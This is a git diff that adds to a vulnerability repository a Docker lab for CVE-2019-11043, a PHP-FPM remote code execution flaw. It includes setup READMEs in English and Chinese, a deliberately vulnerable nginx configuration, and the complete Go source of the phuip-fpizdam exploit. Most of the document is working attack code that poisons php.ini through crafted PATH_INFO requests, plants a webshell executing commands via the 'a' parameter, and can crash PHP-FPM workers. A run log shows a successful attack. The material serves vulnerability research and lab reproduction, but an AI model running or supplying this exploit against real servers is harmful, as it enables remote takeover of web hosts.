diff --git a/CVE-2019-11043/CVE-2019-11043/1.png b/CVE-2019-11043/CVE-2019-11043/1.png new file mode 100644 index 0000000..7e57f5d Binary files /dev/null and b/CVE-2019-11043/CVE-2019-11043/1.png differ diff --git a/CVE-2019-11043/CVE-2019-11043/2.png b/CVE-2019-11043/CVE-2019-11043/2.png new file mode 100644 index 0000000..d8ff2b4 Binary files /dev/null and b/CVE-2019-11043/CVE-2019-11043/2.png differ diff --git a/CVE-2019-11043/CVE-2019-11043/README.md b/CVE-2019-11043/CVE-2019-11043/README.md new file mode 100644 index 0000000..9daeda5 --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/README.md @@ -0,0 +1,51 @@ +# PHP-FPM Remote Command Execution (CVE-2019-11043) + +[中文版本(Chinese version)](README.zh-cn.md) + +There is a PHP remote code execution 0-Day discovered in Real World CTF 2019 Quals. + +> Real World CTF 2019 Quals is a CTF challenge which was organized by Chaitin Tech in China. + +References: + +- https://bugs.php.net/bug.php?id=78599 +- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/ +- https://github.com/neex/phuip-fpizdam + +## Environment setup + +Start a vulnerable PHP server through following command: + +``` +docker-compose up -d +``` + +After the environment is started, you can see the default page at `http://your-ip:8080/index.php`. + +## Vulnerability Reproduce + +Use this tool to reproduce the vulnerability, : + +``` +$ go run . "http://your-ip:8080/index.php" +2019/10/23 19:41:00 Base status code is 200 +2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate +2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] +2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect +2019/10/23 19:41:02 Trying to set "session.auto_start=0"... +2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS +2019/10/23 19:41:02 Performing attack using php.ini settings... +2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs +2019/10/23 19:41:02 Trying to cleanup /tmp/a... +2019/10/23 19:41:02 Done! +``` + +Something is show that the process is finished successfully: + +![](1.png) + +A webshell is written in the background of PHP-FPM, visit `http://your-ip:8080/index.php?a=id` to trigger RCE: + +![](2.png) + +You should notice that only part of the PHP-FPM child process is polluted, so please try a few more times to execute the command. diff --git a/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md b/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md new file mode 100644 index 0000000..92d6bf4 --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md @@ -0,0 +1,49 @@ +# PHP-FPM 远程代码执行漏洞(CVE-2019-11043) + +在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。 + +在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。 + +参考链接: + +- https://bugs.php.net/bug.php?id=78599 +- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/ +- https://github.com/neex/phuip-fpizdam + +## 漏洞环境 + +执行如下命令启动有漏洞的Nginx和PHP: + +``` +docker-compose up -d +``` + +环境启动后,访问`http://your-ip:8080/index.php`即可查看到一个默认页面。 + +## 漏洞复现 + +使用中给出的工具,发送数据包: + +``` +$ go run . "http://your-ip:8080/index.php" +2019/10/23 19:41:00 Base status code is 200 +2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate +2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] +2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect +2019/10/23 19:41:02 Trying to set "session.auto_start=0"... +2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS +2019/10/23 19:41:02 Performing attack using php.ini settings... +2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs +2019/10/23 19:41:02 Trying to cleanup /tmp/a... +2019/10/23 19:41:02 Done! +``` + +![](1.png) + +可见,这里已经执行成功。 + +我们访问`http://your-ip:8080/index.php?a=id`,即可查看到命令已成功执行: + +![](2.png) + +注意,因为php-fpm会启动多个子进程,在访问`/index.php?a=id`时需要多访问几次,以访问到被污染的进程。 diff --git a/CVE-2019-11043/CVE-2019-11043/default.conf b/CVE-2019-11043/CVE-2019-11043/default.conf new file mode 100644 index 0000000..994cfad --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/default.conf @@ -0,0 +1,27 @@ +server { + listen 80 default_server; + listen [::]:80 default_server; + + root /usr/share/nginx/html; + + index index.html index.php; + + server_name _; + + location / { + try_files $uri $uri/ =404; + } + + location ~ [^/]\.php(/|$) { + fastcgi_split_path_info ^(.+?\.php)(/.*)$; + include fastcgi_params; + + fastcgi_param PATH_INFO $fastcgi_path_info; + fastcgi_index index.php; + fastcgi_param REDIRECT_STATUS 200; + fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; + fastcgi_param DOCUMENT_ROOT /var/www/html; + fastcgi_pass php:9000; + } + +} diff --git a/CVE-2019-11043/CVE-2019-11043/docker-compose.yml b/CVE-2019-11043/CVE-2019-11043/docker-compose.yml new file mode 100644 index 0000000..01a789e --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/docker-compose.yml @@ -0,0 +1,15 @@ +version: '2' +services: + nginx: + image: nginx:1 + volumes: + - ./www:/usr/share/nginx/html + - ./default.conf:/etc/nginx/conf.d/default.conf + depends_on: + - php + ports: + - "8080:80" + php: + image: php:7.2.10-fpm + volumes: + - ./www:/var/www/html \ No newline at end of file diff --git a/CVE-2019-11043/CVE-2019-11043/www/index.php b/CVE-2019-11043/CVE-2019-11043/www/index.php new file mode 100644 index 0000000..93690f0 --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/www/index.php @@ -0,0 +1,2 @@ +` to all PHP scripts (you may need multiple retries). + +## Credits + +Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru). diff --git a/CVE-2019-11043/phuip-fpizdam/attack.go b/CVE-2019-11043/phuip-fpizdam/attack.go new file mode 100644 index 0000000..c4d9baf --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/attack.go @@ -0,0 +1,67 @@ +package main + +import ( + "bytes" + "log" + "net/url" +) + +var chain = []string{ + "short_open_tag=1", + "html_errors=0", + "include_path=/tmp", + "auto_prepend_file=a", + "log_errors=1", + "error_reporting=2", + "error_log=/tmp/a", + "extension_dir=\"\"", +} + +const ( + checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space) + successPattern = "/bin/which" + cleanupCommand = ";echo ''>/tmp/a;which which" +) + +func Attack(requester *Requester, params *AttackParams) error { + log.Printf("Performing attack using php.ini settings...") + +attackLoop: + for { + for _, payload := range chain { + _, body, err := SetSettingSingle(requester, params, payload, checkCommand) + if err != nil { + return err + } + if bytes.Contains(body, []byte(successPattern)) { + log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand) + break attackLoop + } + } + + } + + log.Printf("Trying to cleanup /tmp/a...") + cleanup := url.Values{"a": []string{cleanupCommand}} + for { + _, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&") + if err != nil { + return err + } + if bytes.Contains(body, []byte(successPattern)) { + log.Print("Done!") + break + } + } + return nil +} + +func KillWorkers(requester *Requester, params *AttackParams, killCount int) error { + for i := 0; i < killCount; i++ { + if _, _, err := requester.Request(BreakingPayload, params); err != nil { + return err + } + } + return nil +} diff --git a/CVE-2019-11043/phuip-fpizdam/consts.go b/CVE-2019-11043/phuip-fpizdam/consts.go new file mode 100644 index 0000000..2bdb18b --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/consts.go @@ -0,0 +1,14 @@ +package main + +const ( + UserAgent = "Mozilla/5.0" + PosOffset = 34 + SettingEnableRetries = 50 + MinQSL = 1500 + MaxQSL = 1950 + QSLDetectStep = 5 + MaxQSLDetectDelta = 10 + MaxQSLCandidates = 10 + MaxPisosLength = 256 + BreakingPayload = "/PHP\nis_the_shittiest_lang.php" +) diff --git a/CVE-2019-11043/phuip-fpizdam/detect.go b/CVE-2019-11043/phuip-fpizdam/detect.go new file mode 100644 index 0000000..a6e9519 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/detect.go @@ -0,0 +1,180 @@ +package main + +import ( + "errors" + "fmt" + "log" + "os" + "sort" +) + +var errPisosBruteForbidden = errors.New("pisos length brute is forbidden by command line options") + +type AttackParams struct { + QueryStringLength int + PisosLength int +} + +func (ap *AttackParams) Complete() bool { + return ap.QueryStringLength != 0 && ap.PisosLength != 0 +} + +func (ap *AttackParams) String() string { + s := fmt.Sprintf("--qsl %v --pisos %v", ap.QueryStringLength, ap.PisosLength) + if ap.Complete() { + s += " --skip-detect" + } + return s +} + +func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onlyQSL bool) (*AttackParams, error) { + var qslCandidates []int + baseResp, _, err := requester.Request("/path\ninfo.php", &AttackParams{MinQSL, 1}) + if err != nil { + return nil, fmt.Errorf("error while doing first request: %v", err) + } + baseStatus := baseResp.StatusCode + log.Printf("Base status code is %#v", baseStatus) + if hints.QueryStringLength != 0 { + if onlyQSL { + return nil, errors.New("only-qsl specified with --qsl, nothing to do") + } + log.Printf("Skipping qsl detection, using hint (qsl=%v)", hints.QueryStringLength) + qslCandidates = append(qslCandidates, hints.QueryStringLength) + } else { + for qsl := MinQSL; qsl <= MaxQSL; qsl += QSLDetectStep { + ap := &AttackParams{qsl, 1} + resp, _, err := requester.Request(BreakingPayload, ap) + if err != nil { + return nil, fmt.Errorf("error for %#v: %v", ap, err) + } + if resp.StatusCode != baseStatus { + log.Printf("Status code %v for qsl=%v, adding as a candidate", resp.StatusCode, qsl) + qslCandidates = append(qslCandidates, qsl) + } + } + } + + if len(qslCandidates) == 0 { + return nil, errors.New("no qsl candidates found, invulnerable or something wrong") + } + + if len(qslCandidates) > MaxQSLCandidates { + return nil, errors.New("too many qsl candidates found, looks like I got banned") + } + qslCandidates = extendQSLCandidatesList(qslCandidates) + log.Printf("The target is probably vulnerable. Possible QSLs: %v", qslCandidates) + if onlyQSL { + return nil, errPisosBruteForbidden + } + + for try := 0; try < 10; try++ { + if err := SanityCheck(requester, method, baseStatus); err != nil { + return nil, fmt.Errorf("sanity check failed: %v", err) + } + } + + var plCandidates []int + if hints.PisosLength != 0 { + plCandidates = append(plCandidates, hints.PisosLength) + log.Printf("Skipping pisos length brute, using hint (pl=%v)", hints.PisosLength) + } else { + for i := 1; i <= MaxPisosLength; i++ { + plCandidates = append(plCandidates, i) + } + } + + payload, err := MakePathInfo(method.PHPOptionEnable) + if err != nil { + // methods are hardcoded, this shouldn't happen + panic(err) + } + for try := 0; try < SettingEnableRetries; try += 1 { + for _, qsl := range qslCandidates { + for _, pl := range plCandidates { + params := &AttackParams{qsl, pl} + resp, data, err := requester.Request(payload, params) + if err != nil { + return nil, fmt.Errorf("error for %#v: %v", params, err) + } + if resp.StatusCode != baseStatus { + log.Printf("Status code %v for %#v", resp.StatusCode, params) + } + + if method.Check(resp, data) { + log.Printf("Attack params found: %v", params) + return params, SetSetting(requester, params, method.PHPOptionDisable, SettingEnableRetries) + } + } + } + } + + return nil, fmt.Errorf("not vulnerable or other failure, IDK") +} + +func SanityCheck(requester *Requester, method *DetectMethod, baseStatus int) error { + resp, data, err := requester.Request("/PHP\nSOSAT", &AttackParams{ + QueryStringLength: MaxQSL, + PisosLength: MaxPisosLength, + }) + if err != nil { + return err + } + + if resp.StatusCode != baseStatus { + return fmt.Errorf("invalid status code: %v (must be %v). Maybe \".php\" suffix is required?", resp.StatusCode, baseStatus) + } + + if method.Check(resp, data) { + _, _ = fmt.Fprintf(os.Stderr, ` +OK, here's what happened: + +I was trying to set %#v setting using the vulnerability. +If it had been set I would have been able to detect it so I would have known +the attack params. However, my %#v detector says it's +already set before I took any actions. + +This can happen for one of two reasons: + +1. The server has %#v already enabled in the config (or the script behaves like it). +2. You launched the attack previously and resetting back to %#v failed. + +If it's 1, everything is simple: try another detection method. + +If it's 2, there might be some problems. The server now runs with the poisoned +config and may seem broken for other users if the detection method is intrusive +(like "output_handler=md5"). I don't know how to fix it. + +If you have previously retrieved attack params (QSL and Pisos) try to use them +with --skip-detection. If you manage to get RCE you can fix the server. Another +option is to try --reset-setting flag, but I'm not sure it will help. + +Another option is to use --kill-workers, this may kill php-fpm workers with SIGSEGV. +They will restart and the server will become usable again. + +If you don't have attack params, used intrusive detection method and don't own the +server, you are fucked. + +`, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionDisable) + + return fmt.Errorf("already attacked? Setting %v seems to be set", method.PHPOptionEnable) + } + + return nil +} + +func extendQSLCandidatesList(candidates []int) []int { + values := make(map[int]struct{}) + for _, qsl := range candidates { + for delta := 0; delta <= MaxQSLDetectDelta; delta += QSLDetectStep { + c := qsl - delta + values[c] = struct{}{} + } + } + var extended []int + for qsl := range values { + extended = append(extended, qsl) + } + sort.Sort(sort.IntSlice(extended)) + return extended +} diff --git a/CVE-2019-11043/phuip-fpizdam/detect_methods.go b/CVE-2019-11043/phuip-fpizdam/detect_methods.go new file mode 100644 index 0000000..ac035d6 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/detect_methods.go @@ -0,0 +1,29 @@ +package main + +import ( + "net/http" + "strings" +) + +type DetectMethod struct { + PHPOptionEnable string + PHPOptionDisable string + Check func(resp *http.Response, data []byte) bool +} + +var Methods = map[string]*DetectMethod{ + "session.auto_start": { + PHPOptionEnable: "session.auto_start=1", + PHPOptionDisable: "session.auto_start=0", + Check: func(resp *http.Response, _ []byte) bool { + return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID") + }, + }, + "output_handler.md5": { + PHPOptionEnable: "output_handler=md5", + PHPOptionDisable: "output_handler=NULL", + Check: func(_ *http.Response, data []byte) bool { + return len(data) == 16 + }, + }, +} diff --git a/CVE-2019-11043/phuip-fpizdam/go.mod b/CVE-2019-11043/phuip-fpizdam/go.mod new file mode 100644 index 0000000..abc0daf --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/go.mod @@ -0,0 +1,5 @@ +module phuip-fpizdam + +go 1.12 + +require github.com/spf13/cobra v0.0.5 diff --git a/CVE-2019-11043/phuip-fpizdam/go.sum b/CVE-2019-11043/phuip-fpizdam/go.sum new file mode 100644 index 0000000..0e18b3e --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/go.sum @@ -0,0 +1,33 @@ +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= +github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk= +github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= +github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= +github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= +github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= +github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= +github.com/spf13/cobra v0.0.5 h1:f0B+LkLX6DtmRH1isoNA9VTtNUK9K8xYd28JNNfOv/s= +github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU= +github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= +github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg= +github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0= +github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= +golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/sys v0.0.0-20181205085412-a5c9d58dba9a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= diff --git a/CVE-2019-11043/phuip-fpizdam/main.go b/CVE-2019-11043/phuip-fpizdam/main.go new file mode 100644 index 0000000..cd4ab99 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/main.go @@ -0,0 +1,124 @@ +package main + +import ( + "log" + + "github.com/spf13/cobra" +) + +func main() { + var ( + method string + cookie string + setting string + skipDetect bool + skipAttack bool + killWorkers bool + killCount int + resetSetting bool + resetRetries int + onlyQSL bool + params = &AttackParams{} + ) + + var cmd = &cobra.Command{ + Use: "phuip-fpizdam [url]", + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + url := args[0] + m, ok := Methods[method] + if !ok { + log.Fatalf("Unknown detection method: %v", method) + } + + requester, err := NewRequester(url, cookie) + if err != nil { + log.Fatalf("Failed to create requester: %v", err) + } + + if resetSetting { + if !params.Complete() { + log.Fatal("--reset-setting requires complete params") + } + if setting == "" { + setting = m.PHPOptionDisable + } + if resetRetries == -1 { + resetRetries = 1 << 30 + } + if err := SetSetting(requester, params, setting, resetRetries); err != nil { + log.Fatalf("ResetSetting() returned error: %v", err) + } + log.Printf("I did my best trying to set %#v", setting) + return + } + + if setting != "" { + log.Fatal("--setting requires --reset-setting") + } + + if killWorkers { + if params.QueryStringLength == 0 { + log.Fatal("QSL value is required for killing workers") + } + // The breaking payload is 4 bytes shorter than usual (34), so we have + // (Δ|SCRIPT_FILENAME| + Δ|REQUEST_URI| + Δ|DOCUMENT_URI|)/2 = 6. + // This probably won't work in some configurations. + params.QueryStringLength += 6 + if err := KillWorkers(requester, params, killCount); err != nil { + log.Fatalf("KillWorkers() returned error: %v", err) + } + log.Printf("all done") + return + } + + if skipDetect { + if !params.Complete() { + log.Fatal("Got --skip-detect and attack params are incomplete, don't know what to do") + } + log.Printf("Using attack params %s", params) + } else { + var err error + params, err = Detect(requester, m, params, onlyQSL) + if err != nil { + if err == errPisosBruteForbidden && onlyQSL { + log.Printf("Detect() found QSLs and that's it") + return + } + log.Fatalf("Detect() returned error: %v", err) + } + + if !params.Complete() { + log.Fatal("Detect() returned incomplete attack params, something gone wrong") + } + + log.Printf("Detect() returned attack params: %s <-- REMEMBER THIS", params) + } + + if skipAttack || onlyQSL { + log.Print("Attack phase is disabled, so that's it") + return + } + + if err := Attack(requester, params); err != nil { + log.Fatalf("Attack returned error: %v", err) + } + }, + } + cmd.Flags().StringVar(&method, "method", "session.auto_start", "detect method (see detect_methods.go)") + cmd.Flags().StringVar(&cookie, "cookie", "", "send this cookie") + cmd.Flags().IntVar(¶ms.QueryStringLength, "qsl", 0, "qsl hint") + cmd.Flags().IntVar(¶ms.PisosLength, "pisos", 0, "pisos hint") + cmd.Flags().BoolVar(&skipDetect, "skip-detect", false, "skip detection phase") + cmd.Flags().BoolVar(&skipAttack, "skip-attack", false, "skip attack phase") + cmd.Flags().BoolVar(&onlyQSL, "only-qsl", false, "stop after QSL detection, use this if you just want to check if the server is vulnerable") + cmd.Flags().BoolVar(&resetSetting, "reset-setting", false, "try to reset setting (requires attack params)") + cmd.Flags().IntVar(&resetRetries, "reset-retries", SettingEnableRetries, "how many retries to do for --reset-setting, -1 means a lot") + cmd.Flags().StringVar(&setting, "setting", "", "specify custom php.ini setting for --reset-setting") + cmd.Flags().BoolVar(&killWorkers, "kill-workers", false, "just kill php-fpm workers (requires only QSL)") + cmd.Flags().IntVar(&killCount, "kill-count", SettingEnableRetries, "how many times to send the worker killing payload") + + if err := cmd.Execute(); err != nil { + log.Fatal(err) + } +} diff --git a/CVE-2019-11043/phuip-fpizdam/phpini.go b/CVE-2019-11043/phuip-fpizdam/phpini.go new file mode 100644 index 0000000..c9ae968 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/phpini.go @@ -0,0 +1,34 @@ +package main + +import ( + "fmt" + "log" + "net/http" + "strings" +) + +func MakePathInfo(phpValue string) (string, error) { + pi := "/PHP_VALUE\n" + phpValue + if len(pi) > PosOffset { + return "", fmt.Errorf("php.ini value is too long: %#v", phpValue) + } + return pi + strings.Repeat(";", PosOffset-len(pi)), nil +} + +func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error { + log.Printf("Trying to set %#v...", setting) + for i := 0; i < tries; i++ { + if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil { + return fmt.Errorf("error while setting %#v: %v", setting, err) + } + } + return nil +} + +func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) { + payload, err := MakePathInfo(setting) + if err != nil { + return nil, nil, err + } + return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix) +} diff --git a/CVE-2019-11043/phuip-fpizdam/requester.go b/CVE-2019-11043/phuip-fpizdam/requester.go new file mode 100644 index 0000000..7954561 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/requester.go @@ -0,0 +1,85 @@ +package main + +import ( + "crypto/tls" + "fmt" + "io/ioutil" + "net/http" + "net/url" + "strings" + "time" +) + +type Requester struct { + cl *http.Client + u *url.URL + cookie string +} + +func NewRequester(resource, cookie string) (*Requester, error) { + u, err := url.Parse(resource) + if err != nil { + return nil, fmt.Errorf("url.Parse failed: %v", err) + } + if !strings.HasSuffix(u.Path, ".php") { + return nil, fmt.Errorf("well I believe the url must end with \".php\". " + + "Maybe I'm wrong, delete this check if you feel like it") + } + + nextProto := make(map[string]func(authority string, c *tls.Conn) http.RoundTripper) + disableRedirects := func(_ *http.Request, _ []*http.Request) error { return http.ErrUseLastResponse } + return &Requester{ + cl: &http.Client{ + Transport: &http.Transport{ + DisableCompression: true, // No "Accept-Encoding" + TLSNextProto: nextProto, // No http2 + Proxy: http.ProxyFromEnvironment, + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + Timeout: 30 * time.Second, + CheckRedirect: disableRedirects, // No redirects + }, + u: u, + cookie: cookie, + }, nil +} + +func (r *Requester) Request(pathInfo string, params *AttackParams) (*http.Response, []byte, error) { + return r.RequestWithQueryStringPrefix(pathInfo, params, "") +} + +func (r *Requester) RequestWithQueryStringPrefix(pathInfo string, params *AttackParams, prefix string) (*http.Response, []byte, error) { + if !strings.HasPrefix(pathInfo, "/") { + return nil, nil, fmt.Errorf("path doesn't start with slash: %#v", pathInfo) + } + u := *r.u + u.Path = u.Path + pathInfo + qslDelta := len(u.EscapedPath()) - len(pathInfo) - len(r.u.EscapedPath()) + if qslDelta%2 != 0 { + panic(fmt.Errorf("got odd qslDelta, that means the URL encoding gone wrong: pathInfo=%#v, qslDelta=%#v", qslDelta)) + } + qslPrime := params.QueryStringLength - qslDelta/2 - len(prefix) + if qslPrime < 0 { + return nil, nil, fmt.Errorf("qsl value too small: qsl=%v, qslDelta=%v, prefix=%#v", params.QueryStringLength, qslDelta, prefix) + } + u.RawQuery = prefix + strings.Repeat("Q", qslPrime) + req, err := http.NewRequest("GET", u.String(), nil) + if err != nil { + return nil, nil, err + } + req.Header.Set("User-Agent", UserAgent) + if r.cookie != "" { + req.Header.Set("Cookie", r.cookie) + } + req.Header.Set("D-Pisos", "8"+strings.Repeat("=", params.PisosLength)+"D") + req.Header.Set("Ebut", "mamku tvoyu") + resp, err := r.cl.Do(req) + if resp != nil { + defer func() { _ = resp.Body.Close() }() + } + if err != nil { + return nil, nil, err + } + data, err := ioutil.ReadAll(resp.Body) + return resp, data, err +} diff --git a/README.md b/README.md index 6bcd4fe..1b1eff5 100644 --- a/README.md +++ b/README.md @@ -76,6 +76,7 @@ - [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) - [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) - [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) +- [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043) ## 提权辅助相关